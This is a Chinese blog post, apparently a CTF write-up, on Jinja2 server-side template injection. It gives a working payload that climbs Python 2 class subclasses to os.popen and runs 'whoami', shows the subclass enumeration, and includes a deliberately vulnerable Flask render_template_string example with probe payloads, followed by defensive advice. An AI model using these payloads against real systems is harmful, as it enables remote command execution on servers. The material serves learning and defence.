Jinja2 模板注入&模板内命令执行

本文介绍了一种利用Jinja2模板引擎进行注入攻击的方法,并通过构造特定的payload来获取目标系统的whoami信息。作者首先分析了Python2环境中可用的类及其子类,进而找到了可以执行命令的路径。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

原因:

        ichunqiu 的web中有一个 Musee de X ,知道 http:// 文件能获取,但是没有想到 file:// 获取文件,根据报错也没有想过他用的是 jinja2。后来朋友说payload每个环境可能不太一样,就自己尝试了一波。


分析:

      这是 python2 运行的,结果就是输出 whoami 的信息

#code:utf-8

from jinja2 import Template
import sys
reload(sys) 
sys.setdefaultencoding('utf8')


a = Template("{{[].__class__.__base__.__subclasses__()[60].__init__.func_globals['linecache'].__dict__['os'].__dict__['popen']('whoami').read()}}")
print(a.render())

   开始 我用 python3 逐步输出,然后发现怎么都不行,还是太菜 ... 用 python2 一会儿就行了 ...

C:\Users\shark\Desktop>python2
Python 2.7.14 (v2.7.14:84471935ed, Sep 16 2017, 20:25:58) [MSC v.1500 64 bit (AMD64)] on win32
Type "help", "copyright", "credits" or "license" for more information.
>>> [].__class__.__base__.__subclasses__()
[<type 'type'>, <type 'weakref'>, <type 'weakcallableproxy'>, <type 'weakproxy'>, <type 'int'>, <type 'basestring'>, <type 'bytearray'>, <type 'list'>, <type 'NoneType'>, <type 'NotImplementedType'>, 
<type 'traceback'>, <type 'super'>, <type 'xrange'>, <type 'dict'>, <type 'set'>, <type 'slice'>, <type 'staticmethod'>, <type 'complex'>, <type 'float'>, <type 'buffer'>, <type 'long'>, <type 'frozenset'>, <type 'property'>, 
<type 'memoryview'>, <type 'tuple'>, <type 'enumerate'>, <type 'reversed'>, <type 'code'>, <type 'frame'>, <type 'builtin_function_or_method'>, <type 'instancemethod'>, <type 'function'>, <type 'classobj'>, <type 'dictproxy'>, <type 'generator'>, <type 'getset_descriptor'>, <type 'wrapper_descriptor'>, <type 'instance'>, <type 'ellipsis'>, 
<type 'member_descriptor'>, <type 'file'>, <type 'PyCapsule'>, <type 'cell'>, <type 'callable-iterator'>, <type 'iterator'>, <type 'sys.long_info'>, <type 'sys.float_info'>, <type 'EncodingMap'>, <type 'fieldnameiterator'>, 
<type 'formatteriterator'>, <type 'sys.version_info'>, <type 'sys.flags'>, <type 'sys.getwindowsversion'>, <type 'exceptions.BaseException'>, <type 'module'>, <type 'imp.NullImporter'>, <type 'zipimport.zipimporter'>, 
<type 'nt.stat_result'>, <type 'nt.statvfs_result'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class '_abcoll.Hashable'>, <type 'classmethod'>, 
<class '_abcoll.Iterable'>, <class '_abcoll.Sized'>, <class '_abcoll.Container'>, <class '_abcoll.Callable'>, <type 'dict_keys'>, <type 'dict_items'>, <type 'dict_values'>, <class 'site._Printer'>, <class 'site._Helper'>, <type '_sre.SRE_Pattern'>, <type '_sre.SRE_Match'>, <type '_sre.SRE_Scanner'>, <class 'site.Quitter'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>, <type 'operator.itemgetter'>, <type 'operator.attrgetter'>, <type 'operator.methodcaller'>, <type 'functools.partial'>, <type 'MultibyteCodec'>, <type 'MultibyteIncrementalEncoder'>, <type 'MultibyteIncrementalDecoder'>, <type 'MultibyteStreamReader'>, <type 'MultibyteStreamWriter'>]

发现输出很多类名,根据猜测为 import 的类和内置的类。

于是猜测 payload 为 类名.方法 格式

但是我不知道题目用的是那个类,于是构造

[].__class__.__base__.__subclasses__()[59]

去获取题目用的类名 发现为

<class 'warnings.catch_warnings'>

于是找到自己对应类的序号,然后在本地构造


### Jinja2 SSTI 攻击原理 在Web应用程序中,如果开发者允许用户输入的数据未经严格验证就传递给模板引擎进行渲染,则可能导致服务器端模板注入(Server-Side Template Injection, SSTI)。对于基于Jinja2的框架而言,攻击者可以通过精心构造恶意输入来执行任意代码。 #### 利用过程示例 假设存在一个简单的Flask应用,其中包含如下代码片段: ```python from flask import Flask, render_template_string app = Flask(__name__) @app.route(&#39;/unsafe/&lt;string:name&gt;&#39;) def unsafe(name): template = f&#39;Hello {name}&#39; return render_template_string(template) if __name__ == &#39;__main__&#39;: app.run(debug=True) ``` 上述实现方式非常危险,因为`render_template_string()`函数直接将未经过滤的名字参数作为模板的一部分进行了渲染。此时,攻击者可以提交特殊构造的字符串,例如`{{7*7}}`,这将会使服务返回计算结果而不是原始文本[^1]。 更进一步地,通过访问路径 `/unsafe/{{&#39;&#39;.__class__.__mro__[2].__subclasses__()}}` ,攻击者可以获得当前环境中所有已加载类的对象列表,从而可能发现可用于远程命令执行或其他形式提权操作的具体实例[^3]。 然而值得注意的是,在实际渗透测试过程中应当遵循合法授权范围内的活动准则;非法入侵他人计算机信息系统属于违法行为。 ### 防护建议 为了防止此类漏洞的发生,应该采取以下几种策略之一或组合使用: - **最小权限原则**:确保运行Web应用程序的服务进程仅具有完成工作所需的最低限度的操作系统级权限。 - **禁用调试模式**:生产环境下的部署应关闭任何不必要的功能选项,特别是那些涉及动态编译或解释器交互的功能开关。 - **白名单校验机制**:对传入的应用逻辑控制流影响较大的变量实施严格的格式化检查,只接受预期之内安全值域内的输入项。 - **自定义沙箱环境**:针对特定场景定制化的限制性上下文空间内解析并执行模板指令集,阻止潜在危害扩散至整个宿主平台之外。 - **更新依赖库版本**:定期审查项目所使用的第三方组件清单,并及时升级到最新稳定发行版以修复已知的安全隐患[^2]。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值